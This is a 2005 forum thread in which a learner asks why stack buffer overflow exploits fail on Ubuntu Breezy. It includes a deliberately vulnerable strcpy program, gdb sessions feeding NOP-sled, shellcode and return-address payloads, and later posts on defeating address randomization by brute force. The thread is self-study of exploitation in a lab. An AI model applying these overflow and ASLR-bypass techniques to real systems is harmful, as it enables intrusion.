Julio Just Arrived
Joined: 03 Dec 2003 Posts: 0
|
Posted: Sat Dec 03, 2005 9:22 pm Post subject: overflows in ubuntu breezy |
|
|
Hi, I'm experimenting with overflows. It was going well using ubuntu warty or redhat or slackware. But the same vulnerable codes appears not to be exploitable using same techniques in ubuntu breezy.
Linux ubuntu 2.6.12-10-386
It uses gcc-4.0.2 by default
I installed gcc 3.3 and 3.4 to compile my vulnerable programs, but it still doesnt work.
ex:
I use this function to get a return address, actually getting the esp :
Code: |
__asm__("movl %esp, %eax") |
It gives me : 1) 0xbfd49f18, but everytime i run it, it gives me a different address?
2) 0xbfabd508 3) 0xbfacd9f8 4) 0xbfb90518 and so on...
How can i find a valid return address in this context?
For example let's take this vulnerable code :
Code: |
int main(int argc, char *argv[]) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
|
How can I know for sure the address of my buffer?
Because i can overwrite ret address as shown :
Code: |
$ ./esp
Stack pointer (ESP) : 0xbfb23f38
$ gdb vuln
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r `perl -e 'print "\x90"x478;'``cat shellcode``perl -e 'print "\x38\x3f\xb2\xbf";'`
Starting program: vuln `perl -e 'print "\x90"x478;'``cat shellcode``perl -e 'print "\x38\x3f\xb2\xbf";'`
Program received signal SIGSEGV, Segmentation fault.
0xbfb23f38 in ?? ()
(gdb)
|
But apparently, it dosent matter what ret address I use, I cannot exploit it.
ex"
Code: |
$ export SHELLCODE=`perl -e 'print "\x90"x100;'``cat shellcode`
$ ./getenv SHELLCODE
SHELLCODE is located at 0xbfa019c5
$ gdb vuln
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r `perl -e 'print "\x90"x524 . "\xc5\x19\xa0\xbf";'`
Starting program: vuln `perl -e 'print "\x90"x524 . "\xc5\x19\xa0\xbf";'`
Program received signal SIGSEGV, Segmentation fault.
0xbfa019c5 in ?? ()
(gdb)
|
I thought it was saving the ret address somewhere else and then comparing it to the actual ret addr, but I dont get any clue that this is being done :
Code: |
(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 <main+0>: push %ebp
0x08048385 <main+1>: mov %esp,%ebp
0x08048387 <main+3>: sub $0x218,%esp
0x0804838d <main+9>: and $0xfffffff0,%esp
0x08048390 <main+12>: mov $0x0,%eax
0x08048395 <main+17>: sub %eax,%esp
0x08048397 <main+19>: mov 0xc(%ebp),%eax
0x0804839a <main+22>: add $0x4,%eax
0x0804839d <main+25>: mov (%eax),%eax
0x0804839f <main+27>: mov %eax,0x4(%esp)
0x080483a3 <main+31>: lea 0xfffffdf8(%ebp),%eax
0x080483a9 <main+37>: mov %eax,(%esp)
0x080483ac <main+40>: call 0x80482b0 <_init+56>
0x080483b1 <main+45>: mov $0x0,%eax
0x080483b6 <main+50>: leave
0x080483b7 <main+51>: ret
End of assembler dump.
(gdb)
|
Is there a way to exploit this vulnerable program?
|
|
Julio Just Arrived
Joined: 03 Dec 2003 Posts: 0
|
Posted: Sun Dec 04, 2005 2:39 am Post subject: |
|
|
Thanks!
I'll be able to continue studying overflows!
[edit]
By the way I searched a little more on space randomization and here is what I found so far:
1) its effective as a protection for mass exploits/worms, but;
2) It causes some programs/applications to segfault (Thus many are disabling it as a quick fix to other problems)
3) Some programmers are more interested in optimization, rather than security;
4)Some programs may need to use a fixed address for future referencing;
5)It can be defeated! The best approach, as far as I know and was able to reproduce, is to use a larger chunk of memory, using way more NOPs before shellcode and bruteforce the desired return address.
[\edit]
|
|
zeedo SF Reviewer
Joined: 01 Sep 2004 Posts: 24 Location: Scotland
|
Posted: Sun Dec 04, 2005 2:15 pm Post subject: |
|
|
Indeed, yeh all of your points are on the money.
As for defeating it, this sort of stack protection has been around for a while and there are quite a few papers on methods to defeat it. It's been added to 2.6 because it's resource cheap and gives some basic protection. There are other patches you can make to the Linux kernel that can help protect the system which are harder to get around but require more resources, resources being CPU time and administration time.
|
|